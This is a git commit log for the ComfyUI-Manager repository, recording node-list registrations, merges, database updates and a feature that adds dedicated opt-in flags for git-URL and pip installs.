Compare commits

..
766 Commits
Author SHA1 Message Date
JuggernautandGitHub 17c0923cfc Merge 2757728935 into 037987b917 2026-07-07 03:36:05 +09:00
Dr.Lt.Data 037987b917 fix(custom-node-list): §4.7-C-bis #2958 younestft/Comfy_EverAnimate — manual register (CONFLICTING)
Python Linting / Run Ruff (push) Waiting to run
2026-07-06 19:48:37 +09:00
Dr.Lt.Data 8076c200fc fix(custom-node-list): §4.7-C-bis-variant #3017 Moon-NE/MoonNe_Nodes — manual register (DESTRUCTIVE + CONFLICTING + non-standard schema) 2026-07-06 19:38:11 +09:00
Dr.Lt.Data 69bad851e0 fix(custom-node-list): §4.7-C-bis #2939 TechnoWarrior2 2-pack — manual register (CONFLICTING) + node_db/new sync
- ComfyUI Image Picker / ComfyUI Live Preview
- New author, appended at end of git-clone block
- live-preview code-scan verified CLEAN (no security surface, English UI, WEB_DIRECTORY only)
- Prepend both to node_db/new (newest-first)
2026-07-06 19:27:05 +09:00
Dr.Lt.Data 47df9c702c fix(custom-node-list): §4.2 MERGE_RELOCATE #2965 shootthesound 4-pack — root relocate + node_db/new sync
- Lighthouse / CleanFreak / Finding LoRA / Image of the Day
- Relocate 4 entries from array head to adjacent to existing shootthesound block
- Prepend 4 entries to node_db/new (newest-first)
2026-07-06 19:25:33 +09:00
Dr.Lt.DataandGitHub d6df033a21 Merge pull request #2965 from shootthesound/add-shootthesound-nodes-batch
Add Lighthouse, CleanFreak, Finding LoRA, and Image of the Day
2026-07-06 19:24:00 +09:00
Dr.Lt.Data d72007d1a8 update DB 2026-07-06 19:22:15 +09:00
Dr.Lt.Data 79a5258dd2 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-07-06 08:48:46 +09:00
Dr.Lt.Data 16a212aa70 update db
Python Linting / Run Ruff (push) Waiting to run
2026-07-05 21:16:42 +09:00
Dr.Lt.Data 6ad8a24845 fix(custom-node-list): §4.7-C-bis #3050 artokun/comfyui-mcp-panel — manual register (CONFLICTING) + node_db/new sync
Python Linting / Run Ruff (push) Waiting to run
2026-07-05 04:39:56 +09:00
Dr.Lt.Data ab8ce7814a update DB 2026-07-05 03:57:17 +09:00
Dr.Lt.Data 99d3e6ddac fix(custom-node-list): §4.2 MERGE_RELOCATE #3022 designloves2/ComfyUI-TJ_NODE_STUDIO_ONE — root relocate + node_db/new sync
- gh pr merge succeeded (MERGEABLE/UNSTABLE); entry landed at root idx 0
- Relocated to canonical position: after last git-clone (idx 5186, new author)
- node_db/new: prepended (top, chronological newest-first)
- Manual verification (post commented_with_response) confirmed:
  * Path Traversal @ nodes.py:576, 1150 FIXED (Path().resolve() + parent check via _safe_resolve_path helper)
  * Command Injection FIXED (subprocess.Popen shell=False + shutil.which)
  * Korean tooltip translated to English
  * Non-English sanity scan CLEAN
2026-07-05 03:19:42 +09:00
Dr.Lt.Data 84c889b026 Merge branch 'main' of github.com:Comfy-Org/ComfyUI-Manager 2026-07-05 03:18:32 +09:00
Dr.Lt.Data 966813eebf fix(custom-node-list): §4.7-C-bis #3003 A1-multiply/ComfyUI-LatentSaver — manual register, PR CONFLICTING
- CONFLICTING per gh — added directly via §4.7-C-bis
- Author responded to §4.7-D-code comment (2026-06-30): "changed all UI strings to English" @ dfec799
- Manual verification confirmed Korean tooltips at latent_saver.py:51/:55/:136 fully translated + repo-wide non-ASCII scan clean
- root: new author, appended after last git-clone (idx 5185)
- node_db/new: prepended (top)
2026-07-05 03:18:29 +09:00
Dr.Lt.DataandGitHub c305db27fe Merge pull request #3022 from designloves2/add-comfyui-tj-node-studio-one
Add ComfyUI-TJ_NODE_STUDIO_ONE to custom-node-list
2026-07-05 03:18:07 +09:00
Dr.Lt.Data 62cb417cc1 fix(custom-node-list): §4.5 PATCH_BASE_CLOSE #2966 + #2978 — adopt PR descriptions
- #2966 ShootTheSound/comfyUI-Realtime-Lora: description update (adds Z-Image/Qwen/FLUX Klein/SD 1.5 + layer analyzers, selective block loaders, debiasing)
- #2978 AntiMatterComfy/antimatter-nodes: description update (adds video batch, LM Studio agents, text file appender)
- title/reference/files/install_type unchanged for both
- extension-node-map.json changes from #2978 not applied (Layer 1 out of scope)
2026-07-05 02:47:06 +09:00
Dr.Lt.Data bdab3680c4 fix(custom-node-list): §4.5 PATCH_BASE_CLOSE #3045 kgilper/krea-reference — adopt PR title/desc
- title: comfyui-krea-reference → ComfyUI Krea Reference
- description: PR wording (guide cards, per-image roles, stack encoder details)
- author (Kevin Gilper) / reference / files / install_type unchanged
- root + node_db/new sync
2026-07-05 01:16:09 +09:00
Dr.Lt.Data 293ea3a8c5 fix(custom-node-list): §4.7-C-bis #3042 Archerkattri (HiCache + TRELLIS2-HiCache) — manual register, PR CONFLICTING
- Both entries added adjacent to existing archerkattri author cluster (root idx 5109-5110)
- node_db/new: both prepended (top, chronological newest-first)
- HiCache: previously flagged Chinese tooltip resolved (1:1 code scan PASS, safe pool)
- TRELLIS2: verified_safe + code scan PASS
2026-07-05 01:15:02 +09:00
Dr.Lt.Data 5e6a02590b fix(custom-node-list): §4.2 MERGE_RELOCATE #3034 Stillfront/comfyui-sf-nodes — root relocate + node_db/new sync
- Root: relocated from mid-file (idx 354) to after last git-clone (idx 5180, new author)
- node_db/new: prepended (top, chronological newest-first)
- Verify SAFE per verification_results.json:safe_repos (deep verify manual-confirmed all static flags as false positives)
2026-07-05 01:12:37 +09:00
Dr.Lt.DataandGitHub 0f4df5347c Merge pull request #3034 from ivorstrelarsf/main
Add SF ComfyUI Nodes by Stillfront
2026-07-05 01:11:45 +09:00
Dr.Lt.Data 9d7a3adc8a update DB 2026-07-05 01:10:15 +09:00
Dr.Lt.Data 5cb9c828ad update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-07-04 00:53:33 +09:00
Dr.Lt.Data 28855800cd fix(custom-node-list): §4.2 MERGE_RELOCATE #3036 DutchyDutch/ComfyUI_Local_Wildcards — root add + node_db/new relocate
Python Linting / Run Ruff (push) Waiting to run
- Root: added at index 5182 (after last git-clone, new author)
- node_db/new: relocated from bottom to top (chronological newest-first, §4.2 Step 9), indent 6→4 space normalized
- Merge commit: 87882134 (gh pr merge)
2026-07-03 04:36:49 +09:00
Dr.Lt.DataandGitHub 87882134e4 Merge pull request #3036 from DutchyDutch/add-comfyui-local-wildcards
Add ComfyUI Local Wildcards custom node
2026-07-03 04:34:37 +09:00
Dr.Lt.Data c903f8be4a update DB 2026-07-03 04:20:52 +09:00
Dr.Lt.Data 267449c55d fix(custom-node-list): §4.5 PATCH_BASE_CLOSE #3027 darth-veitcher/comfydv — adopt PR title/desc
- title: Comfy DV → Comfy DV Nodes
- description: PR wording (dynamic string formatting, seed-controlled random, workflow circuit-breaker)
- author/reference/files/install_type/id unchanged
- root only (not in node_db/new)
2026-07-03 04:14:45 +09:00
Dr.Lt.Data 6178d27b01 fix(custom-node-list): §4.5 PATCH_BASE_CLOSE #3029 gh055/ComfyUI-Dynamic-Combo — adopt PR title/desc
- title: Dynamic Text-to-Combo Generator → ComfyUI Dynamic Text-to-Combo Generator
- description: PR wording (Set/Get node setups)
- author/reference/files/install_type unchanged
- root + node_db/new sync
2026-07-03 01:57:15 +09:00
Dr.Lt.Data 4a21c02967 update DB 2026-07-03 01:46:05 +09:00
Dr.Lt.Data 8e06ee6552 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-07-02 04:42:34 +09:00
DutchyDutchandGitHub 19e0bd6592 Add ComfyUI Local Wildcards custom node 2026-06-30 20:02:34 +02:00
Dr.Lt.Data c4d775079b update DB
Python Linting / Run Ruff (push) Waiting to run
2026-07-01 02:51:31 +09:00
Dr.Lt.Data 7e80e39fdb fix(custom-node-list): place ketle-man/comfyui-mask-editor-one entry adjacent to existing ketle-man author block + sync to node_db/new (PR #2922) 2026-07-01 01:59:00 +09:00
Dr.Lt.DataandGitHub 30e055f4f6 Merge pull request #2922 from ketle-man/add-comfyui-mask-editor-one
Add Mask Editor One
2026-07-01 01:57:59 +09:00
Dr.Lt.Data 8183e23858 update DB 2026-07-01 01:54:22 +09:00
Dr.Lt.Data e99a2b7f4c feat(custom-node-list): §4.7-C-bis manual register 4 CONFLICTING PRs (#3032/#3016/#2956/#2935) + sync 5 to node_db/new (PRs #3032/#3016/#3006/#2956/#2935) 2026-07-01 01:47:46 +09:00
Dr.Lt.DataandGitHub ceac3168e4 Merge pull request #3006 from Nekodificador/fix/nkd-preview-tools-rename
Fix NKD Preview Tools entry: repo renamed + dedupe
2026-07-01 01:45:36 +09:00
Dr.Lt.Data c55592b332 update DB 2026-07-01 01:42:00 +09:00
Ivor Strelar afbc217f03 Add SF ComfyUI Nodes by Stillfront 2026-06-30 10:34:49 +02:00
Dr.Lt.Data 94a3ae8abd update DB
Python Linting / Run Ruff (push) Waiting to run
2026-06-30 05:17:52 +09:00
Dr.Lt.Data 66b3266488 fix(custom-node-list): place juangea/bs-comfyui-workflow-manager entry after last git-clone block + sync to node_db/new (PR #3015) 2026-06-30 05:06:51 +09:00
Dr.Lt.DataandGitHub 9fa5b6918d Merge pull request #3015 from juangea/add-bone-studio-workflow-manager
Add Bone-Studio Workflow Manager
2026-06-30 05:05:19 +09:00
Dr.Lt.Data dbe14a93b9 update DB 2026-06-30 05:04:59 +09:00
Dr.Lt.Data 675440b387 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-06-30 04:23:30 +09:00
Dr.Lt.Data dba1b7742b fix(scanner): fail-fast skip on GitHub rate limit (plain urllib3 Retry)
Replace PyGithub's default GithubRetry (which sleeps until rate-limit
reset and retries up to 10x) with a plain urllib3 Retry. A rate-limit
403/429 is no longer in status_forcelist, so it raises
RateLimitExceededException immediately; renew_stat's except-block
catches it and skips. Transient 5xx errors remain retried (D2).

[#1-sub-2]
2026-06-28 23:45:43 +09:00
Dr.Lt.Data c352b16bb1 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-06-28 04:36:55 +09:00
designloves2 a2274577a1 Add ComfyUI-TJ_NODE_STUDIO_ONE to custom node list 2026-06-27 17:05:13 +09:00
Dr.Lt.Data 8da299d978 fix(custom-node-list): §4.3 MERGE_DEDUP #3007 (relocate + remove old base) and #3009 (replace with PR entry + id field)
Python Linting / Run Ruff (push) Has been cancelled
2026-06-27 02:24:52 +09:00
Dr.Lt.DataandGitHub 36aa47f8bf Merge pull request #3007 from monkeykim111/add-comfyui-image-safety-gate
Add ComfyUI-Image-Safety-Gate
2026-06-27 02:22:27 +09:00
Dr.Lt.Data d35a732216 update DB 2026-06-27 02:01:29 +09:00
Dr.Lt.Data fedd2112e0 feat(custom-node-list): §4.7-C-bis manual register 4 CONFLICTING PRs + sync 5 to node_db/new (PRs #3018/#3001/#2995/#2912/#2989) 2026-06-27 01:42:52 +09:00
Dr.Lt.DataandGitHub 6dc448c813 Merge pull request #3018 from kwokkakiu233/main
Add LoRA Txt Loader node
2026-06-27 01:39:02 +09:00
Dr.Lt.Data 673f4ac4f5 update DB 2026-06-26 20:39:39 +09:00
kwokkakiu233 918919c6dc Add LoRA Txt Loader node 2026-06-25 19:58:04 +08:00
Juan GeaandClaude Opus 4.8 77baaecb76 Add Bone-Studio Workflow Manager to custom-node-list.json
A published Comfy Registry node (publisher: bonestudio), same author as the
existing "Bone-Studio Model Manager". Organizes ComfyUI workflows for production
(folder manager + projects, bulk export, optional Git), GPLv3.

Repo: https://github.com/juangea/bs-comfyui-workflow-manager
Registry: https://registry.comfy.org/nodes/bs-comfyui-workflow-manager

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-25 00:07:14 +02:00
Dr.Lt.Data 049a53f3d5 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-06-25 02:46:23 +09:00
Dr.Lt.Data 8ff2ba8ffe update db
Python Linting / Run Ruff (push) Waiting to run
2026-06-24 03:40:11 +09:00
Dr.Lt.Data b6db1ac854 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-06-22 02:56:24 +09:00
Dr.Lt.DataandGitHub f697116029 Merge pull request #3011 from alexanderar/add-ltx-2.3-models
feat(models): Add LTX-2.3 22B model family.
2026-06-22 02:00:20 +09:00
aartyomov 03861f48c9 feat(models): add LTX-2.3 22B model family
Adds 11 models from Lightricks LTX-2.3:
- 5 checkpoints: dev, distilled 1.1, dev fp8, distilled fp8, dev nvfp4
- 3 LoRAs: distilled lora 1.1, IC-LoRA union control, IC-LoRA motion track
- 3 upscalers: spatial x2 1.1, spatial x1.5, temporal x2
2026-06-21 11:13:53 +00:00
Dr.Lt.Data 579c4f9493 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-06-20 17:07:35 +09:00
Dr.Lt.Data 9e3a5695a7 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-06-20 03:06:51 +09:00
jonathan f92ce59d4b Add ComfyUI-Image-Safety-Gate 2026-06-18 16:22:31 +09:00
Nekodificador d6c6ac2559 Fix NKD Preview Tools entry: repo renamed + dedupe
The repo github.com/Nekodificador/ComfyUI-NKD-Popup-Preview was renamed to
ComfyUI-NKD-Preview-Tools (GitHub redirects old→new). The list still
referenced the old name and had a duplicate entry, so older Manager
installs tracked the orphaned name and stopped seeing updates.

- Point reference/files to the current repo URL
- Update title/description to match the published package
- Remove the duplicate entry

The node is also published on the Comfy Registry as
`comfyui-nkd-preview-tools`.
2026-06-17 17:57:05 +02:00
Dr.Lt.Data 2e93040db5 feat(custom-node-list): §4.7-C-bis manual register 6 CONFLICTING PRs (#2976/#2971/#2964/#2961/#2953/#2941)
Python Linting / Run Ruff (push) Has been cancelled
2026-06-17 02:05:11 +09:00
Dr.Lt.Data 6165515a08 fix(custom-node-list): relocate 3 new-author entries after last git-clone block + sync 6 entries to node_db/new (PRs #2986/#2983/#2990/#2975/#2968) 2026-06-17 02:01:40 +09:00
Dr.Lt.DataandGitHub 0fde8b155b Merge pull request #2968 from sorryhyun/add-anima-pid-easycontrol
add Anima PiD and EasyControl node
2026-06-17 01:59:22 +09:00
Dr.Lt.DataandGitHub 062a164e47 Merge pull request #2975 from rookiestar28/add-longcat-avatar-node
Add ComfyUI LongCat Avatar node
2026-06-17 01:59:16 +09:00
Dr.Lt.DataandGitHub e7ab2f5858 Merge pull request #2983 from elowbe/main
Add comfyui-save-text
2026-06-17 01:59:11 +09:00
Dr.Lt.DataandGitHub 92e3fa5062 Merge pull request #2986 from vantang/add-comfyui-mediahub
Register ComfyUI MediaHub
2026-06-17 01:59:07 +09:00
Dr.Lt.DataandGitHub 90fdb64a67 Merge pull request #2990 from hypnichorse/main
Added Hypnodes to the registry/node list
2026-06-17 01:57:50 +09:00
Dr.Lt.Data b4cdeb2297 update DB 2026-06-17 01:22:35 +09:00
Dr.Lt.Data 3a48b149bb feat(custom-node-list): register 4 SAFE candidates (skbv0/palettedirector, akatz-ai/seamless-tiling, 1girluniversity/scail2-longvideocontext, systms-ai/timeslice-nodes) 2026-06-17 01:15:50 +09:00
Dr.Lt.Data e886d03d31 fix(custom-node-list): archive 2 inaccessible nodes (CrazyDashTool/Combine-video-and-audio-comfyUI, MichaelMaxAgent/comfyui_ML_nodes) 2026-06-17 01:14:40 +09:00
Dr.Lt.Data 73e2f53d2c feat(custom-node-list): register bs-comfyui-model-manager (verified SAFE) 2026-06-17 00:09:15 +09:00
Dr.Lt.Data d6b1e4980a feat(node_db/dev): register bs-comfyui-model-manager (NO NODES, verified SAFE) 2026-06-17 00:07:21 +09:00
Dr.Lt.DataandGitHub e4c5401dd5 feat(security): dedicated install flags decoupled from security_level (#2991)
Python Linting / Run Ruff (push) Waiting to run
* feat(security): add dedicated install flags decoupled from security_level

Gate 'install via git URL' and 'install via pip' with dedicated opt-in
boolean flags (allow_git_url_install / allow_pip_install) in config.ini
[default], fully replacing the security_level term on those surfaces
(REPLACE, not AND — a strict level no longer denies when the flag is on;
a weak level no longer allows when the flag is off).

- glob/manager_server.py: pure predicate is_dedicated_install_allowed
  (flag AND loopback, request-time args.listen); REPLACE gates at
  /customnode/install/git_url and /customnode/install/pip; batch
  unknown-URL arm routes through the same full predicate at the risky
  position (loopback term is load-bearing — the middle entry gate has
  no network-position term; the entry gate itself stays in force);
  unknown-pip in batch stays unconditionally blocked; new
  SECURITY_MESSAGE_FLAG_* denial constants name the responsible flag;
  security_403_response gains flag_token (comfyui_outdated keeps precedence)
- glob/manager_core.py: register both keys (read via get_bool default-false,
  write list, exception fallback); "true"-only truthy; restart-only activation
- js/common.js: 403 dialog copy names the responsible flag at the two
  install call sites
- README.md: security-policy docs for both flags (per-surface scope incl.
  the batch entry-gate qualifier, REPLACE decoupling, loopback bound,
  opt-in config snippet, default-deny + migration note); stale tier lists
  corrected against the actual gates
- CHANGELOG.md: opt-in migration note + accepted residual risk (flags
  bypass the forced-strong outdated-ComfyUI hardening on loopback,
  opt-in only), decoupling claim qualified for the batch entry gate

Tests: unit suite (predicate truth table, REPLACE litmus both directions,
AST binding-proofs against live handlers, subprocess-isolated config
contract) plus a real-server E2E suite that mounts the Manager-under-test
via git worktree (exact-SHA pin, detached) against a real ComfyUI and
exercises both flag surfaces and both arms — deny arms (403 + flag-naming
body/log + no install artifact), git-URL allow arm (real clone), pip allow
arm as a two-phase reservation oracle — with zero-residual self-clean.
Module skips without E2E_COMFYUI_ROOT; unit suite unaffected.

The manager-v4 branch ships the identical policy (shared invariants +
config contract); this tree uses the degraded predicate 'flag AND
loopback' (no personal_cloud-equivalent mode here).

* bump version to v3.41
2026-06-16 03:34:10 +09:00
Dr.Lt.Data 88a7c52410 update DB 2026-06-16 02:15:13 +09:00
hypnichorseandGitHub de560aed84 Fixed typo 2026-06-14 21:39:12 +02:00
hypnichorseandGitHub dc15dcf83c Fixed Array 2026-06-14 21:34:51 +02:00
hypnichorseandGitHub c780c600b5 Added Hypnodes To Node-list 2026-06-14 19:34:20 +02:00
hypnichorseandGitHub eb479ff891 Added Hypnodes to the registry 2026-06-14 19:22:11 +02:00
Dr.Lt.Data 3772432847 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-06-14 23:52:11 +09:00
Van/攻城狮鹿鸣君 86a7d88270 Register ComfyUI MediaHub 2026-06-13 23:22:26 +08:00
Elowbe Software 89809b29d3 Update custom-node-list.json 2026-06-11 19:25:45 -04:00
194bcedcfc fix(graphToPrompt): forward arguments to the wrapped function (#2982)
Python Linting / Run Ruff (push) Has been cancelled
Co-authored-by: Terry Jia <terry@comfy.org>
2026-06-12 07:05:30 +09:00
Dr.Lt.Data d60e603467 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-06-11 01:41:30 +09:00
rookiestar28 6428a1009d Add ComfyUI LongCat Avatar node 2026-06-10 23:13:28 +08:00
Seunghyun Ji c4daf1dffd add Anima PiD and EasyControl node 2026-06-08 19:41:41 +09:00
shootthesound 396308854d Add Lighthouse, CleanFreak, Finding LoRA, Image of the Day to custom-node-list 2026-06-07 19:29:39 +01:00
Dr.Lt.Data 4a1c06b90a update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-06-07 02:51:09 +09:00
Dr.Lt.Data 395bb24427 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-06-05 06:08:54 +09:00
Dr.Lt.Data 25c1cc0921 feat(node_db/dev): register 4 NAME CONFLICT candidates (verified SAFE) 2026-06-05 05:54:28 +09:00
Dr.Lt.Data 629ccba819 fix(custom-node-list:new): sync comfyui-daz-tools entry 2026-06-05 03:47:38 +09:00
Dr.Lt.Data 3d01524ee9 fix(custom-node-list): place comfyui-daz-tools entry after last git-clone block 2026-06-05 03:47:07 +09:00
Dr.Lt.DataandGitHub 81c3c3d62c Merge pull request #2947 from denyazzolin/add-comfyui-daz-tools
Adding ComfyUI-Daz-Tools to Custom Node List
2026-06-05 03:45:42 +09:00
Dr.Lt.Data 1aa6112c57 update DB 2026-06-05 03:44:10 +09:00
Dr.Lt.Data c571cf3ca9 update DB 2026-06-05 00:49:06 +09:00
denyazzolin 4085957308 Add comfyui-daz-tools to custom node list 2026-06-03 21:22:46 -04:00
Dr.Lt.Data 7ddad11d28 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-06-04 03:05:11 +09:00
Dr.Lt.Data 142f4ce365 update DB 2026-06-04 01:59:12 +09:00
Dr.Lt.Data 3ec831a99b update DB
Python Linting / Run Ruff (push) Waiting to run
2026-06-03 07:27:35 +09:00
Dr.Lt.Data 2d373448be update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-06-01 20:16:09 +09:00
Dr.Lt.Data 56a54117ab update DB
Python Linting / Run Ruff (push) Waiting to run
2026-06-01 03:22:14 +09:00
Dr.Lt.Data dfa45a67e0 update DB 2026-06-01 03:16:10 +09:00
Dr.Lt.DataandGitHub 0ccaf67ed9 Merge pull request #2902 from robomello/add-nvml-monitor
Add ComfyUI-NVML-Monitor
2026-06-01 03:08:37 +09:00
Dr.Lt.DataandGitHub 73686b372b Merge pull request #2073 from millerlight/millerlight-patch-1
Millerlight patch 1
2026-06-01 03:08:34 +09:00
Dr.Lt.Data cb46064d25 update DB 2026-06-01 02:34:46 +09:00
Dr.Lt.Data a0f4d401ec update DB 2026-06-01 02:26:10 +09:00
Dr.Lt.Data d6f480c911 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-05-30 03:25:33 +09:00
Dr.Lt.Data 7d611c051e update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-05-28 02:15:37 +09:00
ketle-man 65cf3dbf5c Add Mask Editor One (ketle-man/comfyui-mask-editor-one) 2026-05-27 18:38:07 +09:00
Dr.Lt.Data 66617e061c update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-27 02:16:39 +09:00
Dr.Lt.Data c72bc4e171 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-26 08:56:59 +09:00
Dr.Lt.Data ef470d0119 update DB 2026-05-26 07:50:12 +09:00
Dr.Lt.Data e633858794 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-25 08:02:37 +09:00
Dr.Lt.Data 765e64ff1d update DB 2026-05-25 07:51:37 +09:00
Dr.Lt.Data 1bed21771f update DB 2026-05-25 07:41:09 +09:00
Dr.Lt.Data 36144e5608 update DB 2026-05-25 07:31:55 +09:00
Dr.Lt.Data 10f23c1d19 update DB 2026-05-25 07:28:47 +09:00
Dr.Lt.DataandGitHub 5b17ff01bd Merge pull request #2884 from SOLRICKS/remove-legacy-msxyz-listing
Remove legacy MSXYZ node listing
2026-05-25 07:14:26 +09:00
Dr.Lt.Data 8814191992 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-24 21:12:10 +09:00
Dr.Lt.DataandGitHub b717647e9c Merge pull request #2898 from Anonymzx/main
Update BangtrixToolkit entry, tag version and description
2026-05-24 21:11:31 +09:00
Dr.Lt.DataandGitHub 0151751ab5 Merge pull request #2892 from AntiMatterComfy/codex/update-antimatter-batch-loader-description
Update AntiMatter Nodes description
2026-05-24 21:11:18 +09:00
Dr.Lt.Data 4bab2faa5e update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-24 03:29:27 +09:00
robomello a0c4c78e9e Add ComfyUI-NVML-Monitor 2026-05-22 19:51:26 -05:00
Anonymzx bfec5e4ca8 Update BangtrixToolkit entry and description 2026-05-22 00:58:49 +07:00
Dr.Lt.Data bf5c346428 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-05-21 05:53:45 +09:00
AntiMatterComfy eb57f6f6b5 Map AntiMatter batch loader node 2026-05-20 10:37:00 +03:00
AntiMatterComfy 1d4d74f745 Update AntiMatter Nodes description 2026-05-20 10:35:58 +03:00
Dr.Lt.Data 928870f598 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-20 08:39:29 +09:00
Dr.Lt.Data 7110ec1eaa update DB 2026-05-20 08:16:23 +09:00
Dr.Lt.Data 2483471541 fix(custom-node-list): dedup antimatter-nodes (#2891), keep PR entry with id field and enriched description 2026-05-20 08:15:42 +09:00
Dr.Lt.DataandGitHub aa747eec52 Merge pull request #2891 from AntiMatterComfy/codex/add-antimatter-nodes
Add AntiMatter Nodes
2026-05-20 08:14:48 +09:00
Dr.Lt.Data da873b5f3b update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-20 00:35:20 +09:00
AntiMatterComfy ade66eb61d Update AntiMatter Nodes description 2026-05-19 14:29:58 +03:00
AntiMatterComfy 703438251b Add AntiMatter Nodes 2026-05-19 14:26:00 +03:00
Dr.Lt.Data 7cbd62c8bd update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-19 18:50:44 +09:00
Dr.Lt.Data d0cc0e4fe9 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-19 13:01:16 +09:00
Dr.Lt.Data 9ad16c0188 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-05-18 05:39:11 +09:00
Dr.Lt.Data a2c41a2a21 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-17 10:10:59 +09:00
Dr.Lt.Data 9690eed4d1 fix(custom-node-list): place ComfyUI-Pixal3D entry after last git-clone block 2026-05-17 10:10:47 +09:00
Dr.Lt.DataandGitHub 5d1d287735 Merge pull request #2874 from dreamrec/add-comfyui-pixal3d
Add ComfyUI-Pixal3D to custom-node-list.json
2026-05-17 10:10:18 +09:00
Dr.Lt.Data 65789a6c9d update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-17 03:47:43 +09:00
Dr.Lt.Data 871a646fd7 update DB 2026-05-16 22:10:31 +09:00
Dr.Lt.Data 27f81a058e fix(custom-node-list): place PlagueKind-Nodes entry after last git-clone block 2026-05-16 22:10:16 +09:00
Dr.Lt.DataandGitHub af11571dd7 Merge pull request #2875 from PlagueKind/main
Add PlagueKind Nodes to ComfyUI-Manager registry
2026-05-16 22:09:39 +09:00
Dr.Lt.Data f59dd4bdc6 update DB 2026-05-16 21:42:09 +09:00
Dr.Lt.Data 90b87db05c fix(custom-node-list): dedup nicehero/comfyui-conditioning-saver (#2883), keep PR entry with id field and proper-case title 2026-05-16 21:41:10 +09:00
Dr.Lt.DataandGitHub d6a9d6544d Merge pull request #2883 from nicehero/main
Add [comfyui-conditioning-saver](https://github.com/nicehero/comfyui-conditioning-saver) to the custom node list.
2026-05-16 21:40:50 +09:00
Dr.Lt.DataandGitHub 42b028362e Merge pull request #2882 from ketle-man/add-model-and-prompt-from-metadata
Add Model and Prompt from Metadata node
2026-05-16 21:40:17 +09:00
Dr.Lt.Data dcf04578b8 fix(custom-node-list): place ComfyUI-Magos-Nodes entry after last git-clone block 2026-05-16 21:39:55 +09:00
Dr.Lt.DataandGitHub 3eceec5bfa Merge pull request #2878 from MagosDigitalStudio/main
Add ComfyUI-Magos-Nodes
2026-05-16 21:39:19 +09:00
Dr.Lt.Data 2c0d665929 fix(custom-node-list): place BangtrixToolkit entry after last git-clone block 2026-05-16 21:38:56 +09:00
Dr.Lt.DataandGitHub 7fa009e9da Merge pull request #2877 from Anonymzx/main
add BangtrixToolkit to custom nodes list
2026-05-16 21:38:24 +09:00
Dr.Lt.DataandGitHub 7cf155b2fe Merge pull request #2868 from pmarmotte2/register-comfyui-pick-any
Add Comfyui-Pick_Any to custom node list
2026-05-16 21:37:55 +09:00
Dr.Lt.Data 350ff2d044 fix(custom-node-list): place XB_ToolBox entry after last git-clone block 2026-05-16 21:37:31 +09:00
Dr.Lt.DataandGitHub f64b73fc57 Merge pull request #2807 from wjluoxiao/main
Add custom node: XB_ToolBox
2026-05-16 21:36:47 +09:00
Dr.Lt.Data 1958957d36 fix(custom-node-list): place ComfyUI-PuLID-Flux-Chroma entry after last git-clone block 2026-05-16 21:35:49 +09:00
Dr.Lt.DataandGitHub f3236c3031 Merge pull request #1935 from PaoloC68/main
Add ComfyUI-PuLID-Flux-Chroma - First PuLID implementation for Chroma models
2026-05-16 21:32:03 +09:00
Dr.Lt.DataandGitHub fcbad506bb Merge pull request #1913 from flrngel/patch-1
Add ComfyUI_rgbx_xrgb_Wrapper
2026-05-16 21:31:21 +09:00
Dr.Lt.Data 934fd2e091 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-16 19:27:39 +09:00
ketle-man 5de92e4f92 Merge upstream/main - resolve conflict 2026-05-16 14:36:37 +09:00
Dr.Lt.Data 3ae1fe6ea6 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-16 10:17:57 +09:00
Mustafa SahinandGitHub 19f33695ff chore: remove legacy MSXYZ listing 2026-05-15 20:50:27 +03:00
nicehero 8ea1cf7aa7 add comfyui-conditioning-saver 2026-05-15 13:55:48 +08:00
ketle-manandClaude Sonnet 4.6 936dc09f22 Add Model and Prompt from Metadata (ketle-man)
- Add new entry: model-and-prompt-from-metadata
- Remove duplicate comfyui-2dpose-editor entry (leftover from previous closed PR)
- Add node mappings to extension-node-map.json

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-15 11:03:50 +09:00
ketle-manandGitHub 5a19558c01 Merge branch 'Comfy-Org:main' into main 2026-05-15 10:58:06 +09:00
MagosDigitalStudioandGitHub 2513b3bff1 Add ComfyUI-Magos-Nodes 2026-05-14 12:58:28 +03:00
Anonymzx 919c07f1e1 add BangtrixToolkit to custom nodes list 2026-05-14 16:20:30 +07:00
PlagueKind 8f646e92a0 Add PlagueKind Nodes 2026-05-14 02:09:09 +02:00
silviu 8d9eeb93f4 Add ComfyUI-Pixal3D — Pixal3D image-to-3D for Windows + RTX 30/40/50
ComfyUI custom node wrapping Tencent's SIGGRAPH 2026 Pixal3D pipeline.
Registers 3 nodes (Pixal3DLoadPipeline, Pixal3DImageToMesh, Pixal3DFreePipeline)
in extension-node-map.json so the Manager's "Install Missing Custom Nodes"
flow can find them.

Repo: https://github.com/dreamrec/ComfyUI-Pixal3D
2026-05-13 22:47:29 +03:00
Dr.Lt.Data 4f7f26da3b update DB
